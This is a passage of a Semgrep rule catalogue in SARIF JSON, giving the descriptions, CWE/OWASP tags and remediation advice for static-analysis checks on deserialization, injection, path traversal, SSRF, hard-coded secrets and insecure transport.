Rule](https://semgrep.dev/r/java.spring.security.kryo-deserialization-deepsemgrep.kryo-deserialization-deepsemgrep)\n - [https://github.com/EsotericSoftware/kryo](https://github.com/EsotericSoftware/kryo)\n - [https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures](https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures)\n","text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. To prevent this vulnerability, leverage data formats such as JSON or XML as safer alternatives. If you need to deserialize user input in a specific format, consider digitally signing the data before serialization to prevent tampering. For more information, see: [Deserialization prevention](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html) We do not recommend deserializing untrusted data with the `Kryo` unless you explicitly define permissions for types that are allowed to be deserialized by `Kryo`."},"helpUri":"https://semgrep.dev/r/java.spring.security.kryo-deserialization-deepsemgrep.kryo-deserialization-deepsemgrep","id":"java.spring.security.kryo-deserialization-deepsemgrep.kryo-deserialization-deepsemgrep","name":"java.spring.security.kryo-deserialization-deepsemgrep.kryo-deserialization-deepsemgrep","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","MEDIUM CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: java.spring.security.kryo-deserialization-deepsemgrep.kryo-deserialization-deepsemgrep"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Potential arbitrary code execution, whatever is provided to `toFastProperties` is sent straight to eval()"},"help":{"markdown":"Potential arbitrary code execution, whatever is provided to `toFastProperties` is sent straight to eval()\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.bluebird.security.audit.tofastproperties-code-execution.tofastproperties-code-execution)\n - [http://bluebirdjs.com/docs/getting-started.html](http://bluebirdjs.com/docs/getting-started.html)\n","text":"Potential arbitrary code execution, whatever is provided to `toFastProperties` is sent straight to eval()"},"helpUri":"https://semgrep.dev/r/javascript.bluebird.security.audit.tofastproperties-code-execution.tofastproperties-code-execution","id":"javascript.bluebird.security.audit.tofastproperties-code-execution.tofastproperties-code-execution","name":"javascript.bluebird.security.audit.tofastproperties-code-execution.tofastproperties-code-execution","properties":{"precision":"very-high","tags":["CWE-94: Improper Control of Generation of Code ('Code Injection')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.bluebird.security.audit.tofastproperties-code-execution.tofastproperties-code-execution"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.jdo.datanucleus.secrets.hardcoded-connection-password.hardcoded-connection-password)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n - [https://www.datanucleus.org/javadocs/api.jdo/5.0/org/datanucleus/api/jdo/JDOPersistenceManagerFactory.html](https://www.datanucleus.org/javadocs/api.jdo/5.0/org/datanucleus/api/jdo/JDOPersistenceManagerFactory.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/java.jdo.datanucleus.secrets.hardcoded-connection-password.hardcoded-connection-password","id":"java.jdo.datanucleus.secrets.hardcoded-connection-password.hardcoded-connection-password","name":"java.jdo.datanucleus.secrets.hardcoded-connection-password.hardcoded-connection-password","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: java.jdo.datanucleus.secrets.hardcoded-connection-password.hardcoded-connection-password"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Found request data in an EmailMessage that is set to use HTML. This is dangerous because HTML emails are susceptible to XSS. An attacker could inject data into this HTML email, causing XSS."},"help":{"markdown":"Found request data in an EmailMessage that is set to use HTML. This is dangerous because HTML emails are susceptible to XSS. An attacker could inject data into this HTML email, causing XSS.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.security.injection.email.xss-html-email-body.xss-html-email-body)\n - [https://www.damonkohler.com/2008/12/email-injection.html](https://www.damonkohler.com/2008/12/email-injection.html)\n","text":"Found request data in an EmailMessage that is set to use HTML. This is dangerous because HTML emails are susceptible to XSS. An attacker could inject data into this HTML email, causing XSS."},"helpUri":"https://semgrep.dev/r/python.django.security.injection.email.xss-html-email-body.xss-html-email-body","id":"python.django.security.injection.email.xss-html-email-body.xss-html-email-body","name":"python.django.security.injection.email.xss-html-email-body.xss-html-email-body","properties":{"precision":"very-high","tags":["CWE-74: Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')","MEDIUM CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.security.injection.email.xss-html-email-body.xss-html-email-body"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application may convert user-controlled data into a JSON object, which can lead the decoder to consume considerable CPU and memory resources, potentially causing DoS (Denial of Service). The documentation for the `json` package recommends limiting the size of data to be parsed. "},"help":{"markdown":"The application may convert user-controlled data into a JSON object, which can lead the decoder to consume considerable CPU and memory resources, potentially causing DoS (Denial of Service). The documentation for the `json` package recommends limiting the size of data to be parsed. \n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.aws-lambda.deserialization.tainted-json-aws-lambda.tainted-json-aws-lambda)\n - [https://portswigger.net/web-security/deserialization](https://portswigger.net/web-security/deserialization)\n - [https://knowledge-base.secureflag.com/vulnerabilities/unsafe_deserialization/unsafe_deserialization_python.html](https://knowledge-base.secureflag.com/vulnerabilities/unsafe_deserialization/unsafe_deserialization_python.html)\n - [https://docs.python.org/3/library/json.html](https://docs.python.org/3/library/json.html)\n - [https://docs.python.org/3/library/pickle.html](https://docs.python.org/3/library/pickle.html)\n - [https://davidhamann.de/2020/04/05/exploiting-python-pickle/](https://davidhamann.de/2020/04/05/exploiting-python-pickle/)\n","text":"The application may convert user-controlled data into a JSON object, which can lead the decoder to consume considerable CPU and memory resources, potentially causing DoS (Denial of Service). The documentation for the `json` package recommends limiting the size of data to be parsed. "},"helpUri":"https://semgrep.dev/r/python.aws-lambda.deserialization.tainted-json-aws-lambda.tainted-json-aws-lambda","id":"python.aws-lambda.deserialization.tainted-json-aws-lambda.tainted-json-aws-lambda","name":"python.aws-lambda.deserialization.tainted-json-aws-lambda.tainted-json-aws-lambda","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","HIGH CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.aws-lambda.deserialization.tainted-json-aws-lambda.tainted-json-aws-lambda"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"CSRF protection is disabled for this configuration. This is a security risk. Make sure that it is safe or consider setting `csrf_protection` property to `true`."},"help":{"markdown":"CSRF protection is disabled for this configuration. This is a security risk. Make sure that it is safe or consider setting `csrf_protection` property to `true`.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/php.symfony.security.audit.symfony-csrf-protection-disabled.symfony-csrf-protection-disabled)\n - [https://symfony.com/doc/current/security/csrf.html](https://symfony.com/doc/current/security/csrf.html)\n","text":"CSRF protection is disabled for this configuration. This is a security risk. Make sure that it is safe or consider setting `csrf_protection` property to `true`."},"helpUri":"https://semgrep.dev/r/php.symfony.security.audit.symfony-csrf-protection-disabled.symfony-csrf-protection-disabled","id":"php.symfony.security.audit.symfony-csrf-protection-disabled.symfony-csrf-protection-disabled","name":"php.symfony.security.audit.symfony-csrf-protection-disabled.symfony-csrf-protection-disabled","properties":{"precision":"very-high","tags":["CWE-352: Cross-Site Request Forgery (CSRF)","LOW CONFIDENCE","OWASP-A01:2021 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: php.symfony.security.audit.symfony-csrf-protection-disabled.symfony-csrf-protection-disabled"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ruby.mongo.ruby-mongo-hardcoded-secret.ruby-mongo-hardcoded-secret)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/ruby.mongo.ruby-mongo-hardcoded-secret.ruby-mongo-hardcoded-secret","id":"ruby.mongo.ruby-mongo-hardcoded-secret.ruby-mongo-hardcoded-secret","name":"ruby.mongo.ruby-mongo-hardcoded-secret.ruby-mongo-hardcoded-secret","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: ruby.mongo.ruby-mongo-hardcoded-secret.ruby-mongo-hardcoded-secret"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Detected user input used to manually construct a SQL string. This is usually bad practice because manual construction could accidentally result in a SQL injection. An attacker could use a SQL injection to steal or modify contents of the database. Instead, use a parameterized query which is available by default in most database engines. Alternatively, consider using an object-relational mapper (ORM) such as Sequelize which will protect your queries."},"help":{"markdown":"Detected user input used to manually construct a SQL string. This is usually bad practice because manual construction could accidentally result in a SQL injection. An attacker could use a SQL injection to steal or modify contents of the database. Instead, use a parameterized query which is available by default in most database engines. Alternatively, consider using an object-relational mapper (ORM) such as Sequelize which will protect your queries.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.express.security.injection.tainted-sql-string.tainted-sql-string)\n - [https://owasp.org/www-community/attacks/SQL_Injection](https://owasp.org/www-community/attacks/SQL_Injection)\n","text":"Detected user input used to manually construct a SQL string. This is usually bad practice because manual construction could accidentally result in a SQL injection. An attacker could use a SQL injection to steal or modify contents of the database. Instead, use a parameterized query which is available by default in most database engines. Alternatively, consider using an object-relational mapper (ORM) such as Sequelize which will protect your queries."},"helpUri":"https://semgrep.dev/r/javascript.express.security.injection.tainted-sql-string.tainted-sql-string","id":"javascript.express.security.injection.tainted-sql-string.tainted-sql-string","name":"javascript.express.security.injection.tainted-sql-string.tainted-sql-string","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.express.security.injection.tainted-sql-string.tainted-sql-string"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files."},"help":{"markdown":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.express.file.fs-express.fs-express)\n - [https://nodejs.org/api/fs.html#promises-api](https://nodejs.org/api/fs.html#promises-api)\n - [https://owasp.org/Top10/A01_2021-Broken_Access_Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control)\n - [https://owasp.org/www-community/attacks/Path_Traversal](https://owasp.org/www-community/attacks/Path_Traversal)\n - [https://portswigger.net/web-security/file-path-traversal](https://portswigger.net/web-security/file-path-traversal)\n","text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files."},"helpUri":"https://semgrep.dev/r/javascript.express.file.fs-express.fs-express","id":"javascript.express.file.fs-express.fs-express","name":"javascript.express.file.fs-express.fs-express","properties":{"precision":"very-high","tags":["CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')","HIGH CONFIDENCE","OWASP-A01:2021 - Broken Access Control","OWASP-A05:2017 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.express.file.fs-express.fs-express"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Checks for creation of telnet servers or attempts to connect through telnet. This is insecure as the telnet protocol supports no encryption, and data passes through unencrypted."},"help":{"markdown":"Checks for creation of telnet servers or attempts to connect through telnet. This is insecure as the telnet protocol supports no encryption, and data passes through unencrypted.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/problem-based-packs.insecure-transport.js-node.telnet-request.telnet-request)\n - [https://www.npmjs.com/package/telnet](https://www.npmjs.com/package/telnet)\n - [https://www.npmjs.com/package/telnet-client](https://www.npmjs.com/package/telnet-client)\n","text":"Checks for creation of telnet servers or attempts to connect through telnet. This is insecure as the telnet protocol supports no encryption, and data passes through unencrypted."},"helpUri":"https://semgrep.dev/r/problem-based-packs.insecure-transport.js-node.telnet-request.telnet-request","id":"problem-based-packs.insecure-transport.js-node.telnet-request.telnet-request","name":"problem-based-packs.insecure-transport.js-node.telnet-request.telnet-request","properties":{"precision":"very-high","tags":["CWE-319: Cleartext Transmission of Sensitive Information","MEDIUM CONFIDENCE","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: problem-based-packs.insecure-transport.js-node.telnet-request.telnet-request"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A hard-coded credential was detected. It is not recommended to store credentials in source-code, as this risks secrets being leaked and used by either an internal or external malicious adversary. It is recommended to use environment variables to securely provide credentials or retrieve credentials from a secure vault or HSM (Hardware Security Module)."},"help":{"markdown":"A hard-coded credential was detected. It is not recommended to store credentials in source-code, as this risks secrets being leaked and used by either an internal or external malicious adversary. It is recommended to use environment variables to securely provide credentials or retrieve credentials from a secure vault or HSM (Hardware Security Module).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/terraform.aws.security.aws-provider-static-credentials.aws-provider-static-credentials)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A hard-coded credential was detected. It is not recommended to store credentials in source-code, as this risks secrets being leaked and used by either an internal or external malicious adversary. It is recommended to use environment variables to securely provide credentials or retrieve credentials from a secure vault or HSM (Hardware Security Module)."},"helpUri":"https://semgrep.dev/r/terraform.aws.security.aws-provider-static-credentials.aws-provider-static-credentials","id":"terraform.aws.security.aws-provider-static-credentials.aws-provider-static-credentials","name":"terraform.aws.security.aws-provider-static-credentials.aws-provider-static-credentials","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","MEDIUM CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: terraform.aws.security.aws-provider-static-credentials.aws-provider-static-credentials"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files. In Java, you may also consider using a utility method such as `org.apache.commons.io.FilenameUtils.getName(...)` to only retrieve the file name from the path."},"help":{"markdown":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files. In Java, you may also consider using a utility method such as `org.apache.commons.io.FilenameUtils.getName(...)` to only retrieve the file name from the path.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.micronaut.path-traversal.file-taint-sls.file-taint-sls)\n - [https://owasp.org/Top10/A01_2021-Broken_Access_Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control)\n - [https://owasp.org/www-community/attacks/Path_Traversal](https://owasp.org/www-community/attacks/Path_Traversal)\n - [https://portswigger.net/web-security/file-path-traversal](https://portswigger.net/web-security/file-path-traversal)\n","text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files. In Java, you may also consider using a utility method such as `org.apache.commons.io.FilenameUtils.getName(...)` to only retrieve the file name from the path."},"helpUri":"https://semgrep.dev/r/java.micronaut.path-traversal.file-taint-sls.file-taint-sls","id":"java.micronaut.path-traversal.file-taint-sls.file-taint-sls","name":"java.micronaut.path-traversal.file-taint-sls.file-taint-sls","properties":{"precision":"very-high","tags":["CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')","MEDIUM CONFIDENCE","OWASP-A01:2021 - Broken Access Control","OWASP-A05:2017 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: java.micronaut.path-traversal.file-taint-sls.file-taint-sls"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"help":{"markdown":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/cpp.lang.security.uri.url-manipulation-generic.url-manipulation-generic)\n - [https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29](https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29)\n - [https://wiki.sei.cmu.edu/confluence/display/c/STR02-C.+Sanitize+data+passed+to+complex+subsystems](https://wiki.sei.cmu.edu/confluence/display/c/STR02-C.+Sanitize+data+passed+to+complex+subsystems)\n","text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"helpUri":"https://semgrep.dev/r/cpp.lang.security.uri.url-manipulation-generic.url-manipulation-generic","id":"cpp.lang.security.uri.url-manipulation-generic.url-manipulation-generic","name":"cpp.lang.security.uri.url-manipulation-generic.url-manipulation-generic","properties":{"precision":"very-high","tags":["CWE-918: Server-Side Request Forgery (SSRF)","MEDIUM CONFIDENCE","OWASP-A10:2021 - Server-Side Request Forgery (SSRF)","security"]},"shortDescription":{"text":"Semgrep Finding: cpp.lang.security.uri.url-manipulation-generic.url-manipulation-generic"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the user input, and use safe methods for executing the commands. In PHP, it is possible to use `escapeshellcmd(...)` and `escapeshellarg(...)` to correctly sanitize input when used respectively as system commands or command arguments."},"help":{"markdown":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the user input, and use safe methods for executing the commands. In PHP, it is possible to use `escapeshellcmd(...)` and `escapeshellarg(...)` to correctly sanitize input when used respectively as system commands or command arguments.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/php.laravel.security.laravel-mail-command-injection.laravel-mail-command-injection)\n - [https://www.php.net/manual/en/function.mb-send-mail.php](https://www.php.net/manual/en/function.mb-send-mail.php)\n - [https://www.php.net/manual/en/function.mail.php](https://www.php.net/manual/en/function.mail.php)\n - [https://cheatsheetseries.owasp.org/cheatsheets/OS_Command_Injection_Defense_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/OS_Command_Injection_Defense_Cheat_Sheet.html)\n - [https://legalhackers.com/advisories/PHPMailer-Exploit-Remote-Code-Exec-CVE-2016-10033-Vuln.html](https://legalhackers.com/advisories/PHPMailer-Exploit-Remote-Code-Exec-CVE-2016-10033-Vuln.html)\n","text":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the user input, and use safe methods for executing the commands. In PHP, it is possible to use `escapeshellcmd(...)` and `escapeshellarg(...)` to correctly sanitize input when used respectively as system commands or command arguments."},"helpUri":"https://semgrep.dev/r/php.laravel.security.laravel-mail-command-injection.laravel-mail-command-injection","id":"php.laravel.security.laravel-mail-command-injection.laravel-mail-command-injection","name":"php.laravel.security.laravel-mail-command-injection.laravel-mail-command-injection","properties":{"precision":"very-high","tags":["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: php.laravel.security.laravel-mail-command-injection.laravel-mail-command-injection"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"$sceProvider is set to false. Disabling Strict Contextual escaping (SCE) in an AngularJS application could provide additional attack surface for XSS vulnerabilities."},"help":{"markdown":"$sceProvider is set to false. Disabling Strict Contextual escaping (SCE) in an AngularJS application could provide additional attack surface for XSS vulnerabilities.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.angular.security.detect-angular-sce-disabled.detect-angular-sce-disabled)\n - [https://docs.angularjs.org/api/ng/service/$sce](https://docs.angularjs.org/api/ng/service/$sce)\n - [https://owasp.org/www-chapter-london/assets/slides/OWASPLondon20170727_AngularJS.pdf](https://owasp.org/www-chapter-london/assets/slides/OWASPLondon20170727_AngularJS.pdf)\n","text":"$sceProvider is set to false. Disabling Strict Contextual escaping (SCE) in an AngularJS application could provide additional attack surface for XSS vulnerabilities."},"helpUri":"https://semgrep.dev/r/javascript.angular.security.detect-angular-sce-disabled.detect-angular-sce-disabled","id":"javascript.angular.security.detect-angular-sce-disabled.detect-angular-sce-disabled","name":"javascript.angular.security.detect-angular-sce-disabled.detect-angular-sce-disabled","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","HIGH CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.angular.security.detect-angular-sce-disabled.detect-angular-sce-disabled"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected 'urllib.urlopen()' using 'http://'. This request will not be encrypted. Use 'https://' instead."},"help":{"markdown":"Detected 'urllib.urlopen()' using 'http://'. This request will not be encrypted. Use 'https://' instead.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.security.audit.insecure-transport.urllib.insecure-urlopen.insecure-urlopen)\n - [https://docs.python.org/3/library/urllib.request.html#urllib.request.urlopen](https://docs.python.org/3/library/urllib.request.html#urllib.request.urlopen)\n","text":"Detected 'urllib.urlopen()' using 'http://'. This request will not be encrypted. Use 'https://' instead."},"helpUri":"https://semgrep.dev/r/python.lang.security.audit.insecure-transport.urllib.insecure-urlopen.insecure-urlopen","id":"python.lang.security.audit.insecure-transport.urllib.insecure-urlopen.insecure-urlopen","name":"python.lang.security.audit.insecure-transport.urllib.insecure-urlopen.insecure-urlopen","properties":{"precision":"very-high","tags":["CWE-319: Cleartext Transmission of Sensitive Information","LOW CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: python.lang.security.audit.insecure-transport.urllib.insecure-urlopen.insecure-urlopen"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files."},"help":{"markdown":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/csharp.dotnet-core.path-traversal.file-taint-grpc.file-taint-grpc)\n - [https://owasp.org/Top10/A01_2021-Broken_Access_Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control)\n - [https://owasp.org/www-community/attacks/Path_Traversal](https://owasp.org/www-community/attacks/Path_Traversal)\n - [https://portswigger.net/web-security/file-path-traversal](https://portswigger.net/web-security/file-path-traversal)\n","text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files."},"helpUri":"https://semgrep.dev/r/csharp.dotnet-core.path-traversal.file-taint-grpc.file-taint-grpc","id":"csharp.dotnet-core.path-traversal.file-taint-grpc.file-taint-grpc","name":"csharp.dotnet-core.path-traversal.file-taint-grpc.file-taint-grpc","properties":{"precision":"very-high","tags":["CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')","HIGH CONFIDENCE","OWASP-A01:2021 - Broken Access Control","OWASP-A05:2017 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: csharp.dotnet-core.path-traversal.file-taint-grpc.file-taint-grpc"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. A number of functions and packages in the `torch` module rely on the `pickle` module and should not be used to unpackage data from untrusted 